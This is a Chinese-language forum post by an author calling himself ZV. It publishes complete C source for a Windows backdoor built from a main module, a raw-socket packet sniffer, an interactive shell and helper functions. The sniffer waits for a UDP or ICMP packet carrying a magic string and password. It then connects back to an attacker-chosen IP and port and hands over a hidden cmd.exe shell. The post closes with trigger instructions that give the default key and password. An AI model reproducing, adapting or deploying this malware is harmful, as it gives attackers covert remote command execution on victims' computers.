程序作者：ZV
比较完整的.for winnt的.compiler by vc 6.0.
我把后门分成四个部分,一个个部分算作一个模块,首先是主函数入口分成一部分,将来要加一些参数设置,初始化,隐藏进程等等,都在这个主函数部分完成,现在是什么都没有,代码比较少..
复制内容到剪贴板
代码:
#include "mainheader.h"
MAINPARAMETERSTK mpStk={"zvrop","[url]www.s8s8.net[/url]"};
//打印帮助
void Usage(char *programName) {
char szHelp[] = "";
fprintf(stderr,"%s usage:%s\n",programName,szHelp);
}
//初始化参数
int HandleOptions(int argc,char *argv[]) {
int i,rn=1;
for (i=1; i< argc;i++) {
if (argv[i][0] == '-') {
switch (argv[i][1]) {
case '?':
case 'h':
case 'H':
Usage(argv[0]);
rn = 0;
break;
default:
Usage(argv[0]);
rn = 0;
break;
}
}
}
return rn;
}
//正式开始工作的主函数
extern int ListenUserMain(void);
int mGotoStart(){
//申请网络
if(!SetSocketDll())
return 0;
int ret=0;
//出错最大100次就结束程序
while(true){
if(!ListenUserMain()){
if(ret++ > 100)
break;
}
}
return 1;
}
//程序入口
int main(int argc, char* argv[]) {
if(argc > 1) {
if(HandleOptions(argc,argv)) {
return 1;
}else {
return 0;
}
}else {
mGotoStart();
return 1;
}
return 1;
}上面这个部分除了mGotoStart();这个函数,其他都是内部的.
这个mGotoStart();就是sniffer的开始,也就是我们的第二个部分,嗅探部分,我写了三种数据包,udp,tcp,icmp的嗅探,事实上tcp能用上的很少(除非你用某些发包软件直接发tcp包)所以我测试的时候也是用udp和icmp来测试的,代码如下:
复制内容到剪贴板
代码:
#include "mainheader.h"
#define MAX_PACK_LEN 65535
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
SNIFFERDATASTK sfStk;
//判断数据包的正确性
int ChkBuff(char *msg, int msglen)
{
int i1 = strlen(mpStk.KeyData), i2 = strlen(mpStk.szUserPasd);
if(strnicmp(msg, mpStk.KeyData, i1) == 0){
char *fp = &msg[i1+1];
if(2 != getcmdline(fp,(char*)(&sfStk),100,3)){
return 0;
}
if(!chkPass(sfStk.name)){
return 0;
}
return 1;
}
return 0;
}
//数据包解包
int DecodePack(char *buf, int buflen)
{
IP_HEADER *pIpheader;
int iProtocol;
pIpheader = (IP_HEADER *)buf;
iProtocol = pIpheader->proto;
int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
int PackSize = 0;
switch(iProtocol){
case IPPROTO_UDP:
PackSize = sizeof(UDP_HEADER);
break;
case IPPROTO_ICMP:
PackSize = sizeof(UDP_HEADER);
break;
case IPPROTO_TCP:
PackSize = sizeof(TCP_HEADER);
default :
return 0;
}
if((unsigned)(buflen-iIphLen-PackSize) < (strlen(mpStk.KeyData)+10))
return 0;
if(ChkBuff(buf+iIphLen+PackSize, buflen-iIphLen-PackSize))
return 1;
return 0;
}
//循环接收数据包
int RecvRightData(SOCKET Sock)
{
char RecvBuf[MAX_PACK_LEN];
int RecvDataLen;
while(true){
memset(RecvBuf, 0, MAX_PACK_LEN);
RecvDataLen = recv(Sock, RecvBuf, MAX_PACK_LEN, 0);
if(SOCKET_ERROR == RecvDataLen || RecvDataLen < 46)
return 0;
if(DecodePack(RecvBuf, RecvDataLen)){
return 1;
}
}
return 0;
}
//获得本机外部ip
unsigned long msGetipByStrOUT(){
char in[20]="",out[20]="";
if(msGetip(in,out)){
return inet_addr(out);
}else{
return inet_addr("127.0.0.1");
}
}
//设置网络环境,开始嗅探
int Start_Sniffer(SOCKET SnfSock)
{
SOCKADDR_IN addr_in;
addr_in.sin_family = AF_INET;
addr_in.sin_port = INADDR_ANY;
addr_in.sin_addr.S_un.S_addr = msGetipByStrOUT();
if(SOCKET_ERROR == bind(SnfSock, (struct sockaddr*)&addr_in, sizeof(addr_in))){
ConCloseSocket(&SnfSock);
return 0;
}
DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
if(SOCKET_ERROR == WSAIoctl(SnfSock,
SIO_RCVALL,
&dwBufferInLen,
sizeof(dwBufferInLen),
&dwBufferLen,
sizeof(dwBufferLen),
&dwBytesReturned ,
NULL ,
NULL)){
ConCloseSocket(&SnfSock);
return 0;
}
return 1;
}
//网络开始函数
extern DWORD WINAPI UserThreadFunc(LPVOID lpParam);
int ListenUserMain(void)
{
SOCKET SnfSock;
if(!SetSocketHand(&SnfSock, SOCK_RAW)) {
return 0;
}
if(!Start_Sniffer(SnfSock)) {
return 0;
}
if(!RecvRightData(SnfSock)) {
ConCloseSocket(&SnfSock);
return 0;
}
ConCloseSocket(&SnfSock);
if(!SetSocketHand(&SnfSock, SOCK_STREAM)) {
return 0;
}
if(!ContoReServer(&SnfSock,
(unsigned short)atoi(sfStk.nPort),
sfStk.szIp)) {
ConCloseSocket(&SnfSock);
return 0;
}
if(!UserThreadFunc((LPVOID)&SnfSock)){
return 0;
}
return 1;
}上面这个部分,除了UserThreadFunc函数是外部的,其他都是内部的,实现了嗅探.
UserThreadFunc函数就是用户线程函数,到了这个函数,就已经和用户建立了连接,下面就是交互式shell的代码了.如下:
复制内容到剪贴板
代码:
#include "mainheader.h"
//关闭cmd进程,防止用户强行断开连接
void closeCMD(USERCONTSTK * sck){
if(sck->procinfo.hProcess != NULL){
TerminateProcess(sck->procinfo.hProcess, -9);
ConCloseHandle(&sck->procinfo.hProcess);
}
}
//结束交互线程B,并关闭相应资源
void KillThreadHdB(USERCONTSTK * sck){
if(sck->UserThreadHdB != NULL){
TerminateThread(sck->UserThreadHdB, 0);
ConCloseHandle(&sck->UserThreadHdB);
ConCloseHandle(&sck->hReadPipe);
ConCloseHandle(&sck->hReadFile);
ConCloseHandle(&sck->hWriteFile);
ConCloseHandle(&sck->hWritePipe);
xfree(sck->buff);
}
}
//结束cmd交互,并中断连接
void quitTELcon(USERCONTSTK * sck){
if(sck->getCMD == 1){
KillThreadHdB(sck);
closeCMD(sck);
sck->getCMD = 0;
}
rnvCasemsg(sck->UserSck, "Bye~^_^~\r\n");
sck->ExitIn = 1;
}
//结束cmd交互,返回后门shell下
void backtoCON(USERCONTSTK * sck)
{
KillThreadHdB(sck);
rnvCasemsg(sck->UserSck,"==========================\r\n"
"S8S8\\>");
sck->getCMD = 0;
}
//交互线程B,获取cmd输出,发送给用户端
DWORD WINAPI ThreadFuncB(LPVOID lpParam){
#define MAX_BUFF_TB 4096
USERCONTSTK *ThreadST = (USERCONTSTK *)lpParam;
ThreadST->buff = (char*)malloc(MAX_BUFF_TB*sizeof(char));
if(ThreadST->buff == NULL)
return 0;
ThreadST->Bann = 1;
unsigned long howlong;
DWORD rest;
while(true){
rest = ReadFile(ThreadST->hReadFile, ThreadST->buff, MAX_BUFF_TB, &howlong, NULL);
if(rest <= 0){
xfree(ThreadST->buff);
return 0;
}
send(ThreadST->UserSck, ThreadST->buff, howlong, 0);
}
return 0;
}
//产生并捆绑一个cmdshell.
short GetConSel(USERCONTSTK *sck){
if(sck->getCMD == 1) {
return 0;
}
memset(&sck->pipeattrA, 0, sizeof(sck->pipeattrA));
sck->pipeattrA.nLength = sizeof(SECURITY_ATTRIBUTES);
sck->pipeattrA.lpSecurityDescriptor = NULL;
sck->pipeattrA.bInheritHandle = TRUE;
if(!CreatePipe(&sck->hReadPipe, &sck->hWriteFile, &sck->pipeattrA, 0)){
rnvErrorID(sck->UserSck, "CreatePipe:");
return 0;
}
memset(&sck->pipeattrB, 0, sizeof(sck->pipeattrB));
sck->pipeattrB.nLength = sizeof(SECURITY_ATTRIBUTES);
sck->pipeattrB.lpSecurityDescriptor = NULL;
sck->pipeattrB.bInheritHandle = TRUE;
if(!CreatePipe(&sck->hReadFile, &sck->hWritePipe, &sck->pipeattrB, 0)){
rnvErrorID(sck->UserSck, "CreatePipe:");
ConCloseHandle(&sck->hReadPipe);
ConCloseHandle(&sck->hWriteFile);
return 0;
}
DWORD UserThreadIdB;
sck->Bann = 0;
if((sck->UserThreadHdB = CreateThread(NULL, 0, ThreadFuncB, (LPVOID *)sck, 0,
&UserThreadIdB))==0){
rnvErrorID(sck->UserSck, "CreateThreadB:");
ConCloseHandle(&sck->hReadPipe);
ConCloseHandle(&sck->hWriteFile);
ConCloseHandle(&sck->hReadFile);
ConCloseHandle(&sck->hWritePipe);
return 0;
}
STARTUPINFO starinfo;
GetStartupInfo(&starinfo);
starinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
starinfo.hStdInput = sck->hReadPipe;
starinfo.hStdError = starinfo.hStdOutput = sck->hWritePipe;
starinfo.wShowWindow = SW_HIDE;
char Cmdpath[MAX_PATH+20] = "";
char ConSystemPath[MAX_PATH] = "";
DWORD ren = GetSystemDirectory(ConSystemPath, MAX_PATH);
if(ren != strlen(ConSystemPath)){
rnvErrorID(sck->UserSck, "GetSystemDirectory:");
KillThreadHdB(sck);
return 0;
}
sprintf(Cmdpath, "%s\\cmd.exe", ConSystemPath);
if(CreateProcess(Cmdpath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &starinfo,
&sck->procinfo)==0){
rnvErrorID(sck->UserSck, "CreateProcess:");
KillThreadHdB(sck);
return 0;
}
sprintf(Cmdpath,"========================\r\n"
"=ThreadID = %ld\r\n"
"=ProcessID = %ld\r\n"
"========================\r\n\0",
UserThreadIdB,
sck->procinfo.dwProcessId);
rnvCasemsg(sck->UserSck, Cmdpath);
//如果建立线程B超时,退出
short _timeOut = 0;
while(sck->Bann == 0){
if(_timeOut++ > 50){
rnvErrorID(sck->UserSck, "TIMEOUT");
closeCMD(sck);
KillThreadHdB(sck);
return 0;
}
Sleep(50);
}
//设置为已经获得cmdshell
sck->getCMD = 1;
return 1;
}
//输出banner
void TypeHelp(USERCONTSTK * sck){
rnvCasemsg(sck->UserSck,"\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"
"+quit<q> exit\r\n"
"+help<h> exit\r\n"
"+shell<s> cmd shell\r\n"
"+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n");
}
//命令行分析
void WINAPI gocommand(USERCONTSTK * sck,char *comm)
{
ConDel1013(comm);
char cmdline[10][256] = {""};
int comline_num = getcmdline(comm, &cmdline[0][0], 256, 10) + 1;
if(strcmpi(cmdline[0], "") == 0){
return;
}
cmdline[0][0]=toupper(cmdline[0][0]);
switch(cmdline[0][0]){
case 'Q':{
if((strcmpi(cmdline[0], "q") == 0) || (strcmpi(cmdline[0], "quit") == 0)
&& comline_num == 1)
quitTELcon(sck);
else
goto NoCommand;
break;
}
case 'S':{
if((strcmpi(cmdline[0], "s") == 0) || (strcmpi(cmdline[0], "shell") == 0)
&& comline_num == 1)
GetConSel(sck);
else
goto NoCommand;
break;
}
case '?':
case 'H':{
if((strcmpi(cmdline[0], "h") == 0 || strcmpi(cmdline[0], "help") == 0 || strcmpi(cmdline[0], "?") == 0))
TypeHelp(sck);
else
goto NoCommand;
break;
}
default:
NoCommand:
rnvCasemsg(sck->UserSck,"Bad Command!\r\n");
}
}
//交互线程A,可以作为后门本身的shell,也可以作为CMDshell的输入
void BeginShell(USERCONTSTK *sck){
char buff[1024] = {0},buf[1024] = {0};
long howlong;
DWORD nothing;
rnvCasemsg(sck->UserSck, "++++++++++++++++++++++++++++++++++++\r\n"
"+Easy BackDoor\r\n"
"+Coder By ZV([email]zvrop@163.com[/email])\r\n"
"+Site [url]http://www.s8s8.net[/url]\r\n"
"++++++++++++++++++++++++++++++++++++\r\n"
"S8S8\\>");
while(true){
memset(buf, 0, 1024);
howlong = recv(sck->UserSck, buf, 1023 - strlen(buff), 0);
if(howlong <= 0){
quitTELcon(sck);
return;
}
strncat(buff, buf, howlong);
if(buf[howlong-1] == '\n'){
if(sck->getCMD != 0){
if(buff[0] == '`'){
gocommand(sck, buff + 1);
}else{
WriteFile(sck->hWriteFile, buff, strlen(buff), ¬hing, NULL);
if(!strnicmp(buff, "exit", 4))
backtoCON(sck);
}
}else{
gocommand(sck, buff);
if(sck-> ExitIn == 1){
return;
}
rnvCasemsg(sck->UserSck, "S8S8\\>");
}
memset(buff, 0, 1024);
if(sck-> ExitIn == 1){
return;
}
}
}
}
//用户界面入口,申请一个结构用来保存,是为了兼容多用户
DWORD WINAPI UserThreadFunc(LPVOID lpParam){
USERCONTSTK *sck = (USERCONTSTK *)malloc(sizeof(USERCONTSTK));
if(sck == NULL){
rnvErrorID(*(SOCKET *)lpParam, "malloc:");
ConCloseSocket((SOCKET *)lpParam);
return 0;
}
memset(sck, 0, sizeof(USERCONTSTK));
sck->UserSck = *(SOCKET *)lpParam;
BeginShell(sck);
ConCloseSocket(&sck->UserSck);
free(sck);
return 1;
}最后一个部分是公共函数部分,提供了一些函数的包装.如下:
复制内容到剪贴板
代码:
#include "mainheader.h"
#define MAX_TIMEOUT 20000
//关闭socket句柄
void ConCloseSocket(SOCKET *Sock) {
if(*Sock == 0 || *Sock == SOCKET_ERROR)
return;
closesocket(*Sock);
*Sock = 0;
}
//关闭句柄
void ConCloseHandle(HANDLE *Hand){
if(*Hand == NULL || *Hand == INVALID_HANDLE_VALUE)
return;
CloseHandle(*Hand);
*Hand = NULL;
}
//释放内存
void xfree(char *bf){
if(bf == NULL || bf == 0)
return;
free(bf);
bf = NULL;
}//设置监听
int LocalListen(SOCKET Sock) {
if(listen(Sock, 5) == SOCKET_ERROR)
return 0;
return 1;
}
//连接远程服务器
int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr) {
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
struct hostent *server_host;
server_host = gethostbyname( reAddr );
if(server_host == NULL)
return 0;
memcpy( (void *) &server_addr.sin_addr,
(void *) server_host->h_addr,
server_host->h_length );
int len = sizeof( server_addr );
if( connect( *sock, (struct sockaddr *)
&server_addr, len ) < 0 )
return 0;
return 1;
}
//申请网络环境
int SetSocketDll(void) {
WSADATA wsaData;
if(SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &wsaData)){
return 0;
}
return 1;
}
//申请连接句柄
int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE) {
*Sock = socket(AF_INET , SOCKTYPE , IPPROTO_IP);
if(*Sock == SOCKET_ERROR)
return 0;
return 1;
}
//发送消息给用户端
void rnvCasemsg(SOCKET Sock, char *msg) {
if (strlen(msg) <= 0)
return;
send(Sock, msg, strlen(msg),0);
}
//发送带错误码的消息给用户端
void rnvErrorID(SOCKET Sock, char *msg) {
char rmsg[256] = {""};
sprintf(rmsg, "\r\nERROR>%s:%d\r\n", msg, GetLastError());
rnvCasemsg(Sock, rmsg);
}
//兼容nc和telnet
void ConDel1013(char *str) {
for(unsigned int i =0; i < strlen(str); i++)
if(str[i] == '\r' || str[i] == '\n')
str[i] = '\0';
}
extern MAINPARAMETERSTK mpStk;
//密码比较,这里可以加上md5
short chkPass(char *pass) {
if(strnicmp(pass, mpStk.szUserPasd, strlen(mpStk.szUserPasd))==0)
return 1;
return 0;
}
//分解命令行的函数
short getcmdline(char *comm, char *cmdline, short cont, short num){
short j = 0, geti = 0, is20 = 0;
for(short i = 0; comm[i] != '\0' && geti < num; i++){
if(comm[i] != ' ' || is20 >= 1){
if(comm[i] == '"') is20++;
else if(is20 >= 2 && comm[i] == ' ') is20 = 0;
else if(j < cont){
&nbs, p; &nb, sp; cmdline[geti * cont + j] = comm[i];
j++;
}
}
if(comm[i] == ' ' && geti < num && is20 == 0){
geti++;
j = 0;
}
}
return geti;
}
//获得本机IP函数
int msGetip(char *ipin, char* ipout){
char cHostName[80]="";
if((gethostname(cHostName, 80)) == SOCKET_ERROR)
return false;
struct hostent *Host = gethostbyname(cHostName);
if(NULL!=Host){
struct in_addr addr;
int i = 0;
while(Host->h_addr_list[i] != NULL){
memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 10 ){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else{
if(strlen(ipout) == 0){
strcpy(ipout, inet_ntoa(addr));
}
}
i++;
}
if(strlen(ipout) == 0) {
strcpy(ipout, ipin);
}
if(strlen(ipin) == 0){
strcpy(ipin, ipout);
}
return 1;
}
return 0;
}还要来一个就是程序的头文件:如下:
复制内容到剪贴板
代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
//用户结构
typedef struct _USERCONTSTK{
int getCMD;
char* buff;
int ExitIn;
int Bann;
SOCKET UserSck;
HANDLE UserThreadHdB;
HANDLE hWritePipe;
HANDLE hWriteFile;
HANDLE hReadPipe;
HANDLE hReadFile;
SECURITY_ATTRIBUTES pipeattrA;
SECURITY_ATTRIBUTES pipeattrB;
PROCESS_INFORMATION procinfo;
}USERCONTSTK,*PUSERCONTSTK;
//后门参数结构
typedef struct _MAINPARAMETERSTK{
char szUserPasd[100];
char KeyData[100];
}MAINPARAMETERSTK,*PMAINPARAMETERSTK;
//嗅探数据结构
typedef struct _SNIFFERDATASTK{
char name[100];
char szIp[100];
char nPort[100];
}SNIFFERDATASTK,*PSNIFFERDATASTK;
//ip头部结构
typedef struct _iphdr {
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;
//tcp头部结构
typedef struct _tcphdr {
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;
//udp头部结构
typedef struct _udphdr {
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
} UDP_HEADER;
//icmp头部结构
typedef struct _icmphdr {
BYTE i_type;
BYTE i_code;
USHORT i_cksum;
USHORT i_id;
USHORT i_seq;
ULONG timestamp;
}ICMP_HEADER;
//一些变量和函数的声名
extern MAINPARAMETERSTK mpStk;
extern void ConCloseSocket(SOCKET *Sock);
extern int LocalListen(SOCKET Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);
extern int SetSocketDll(void);
extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);
extern void rnvCasemsg(SOCKET Sock, char *msg);
extern void rnvErrorID(SOCKET Sock, char *msg);
extern void ConDel1013(char *str);
extern short chkPass(char *pass);
extern short getcmdline(char *comm, char *cmdline, short cont, short num);
extern int msGetip(char *ipin, char* ipout);
extern void ConCloseHandle(HANDLE *Hand);
extern void xfree(char *bf);所有的公共函数都在这里面.
后语:
之所以写这么多代码是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等问题.
另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^.
以下是编译好后测试的一张图:
主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"
www.s8s8.net",密码为"zvrop".
发送数据包是用vc的-u发送udp数据,c:\x.txt里面的内容是:
代码
www.s8s8.net zvrop 192.168.1.2 8888
分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开
注意顺序不要颠倒.
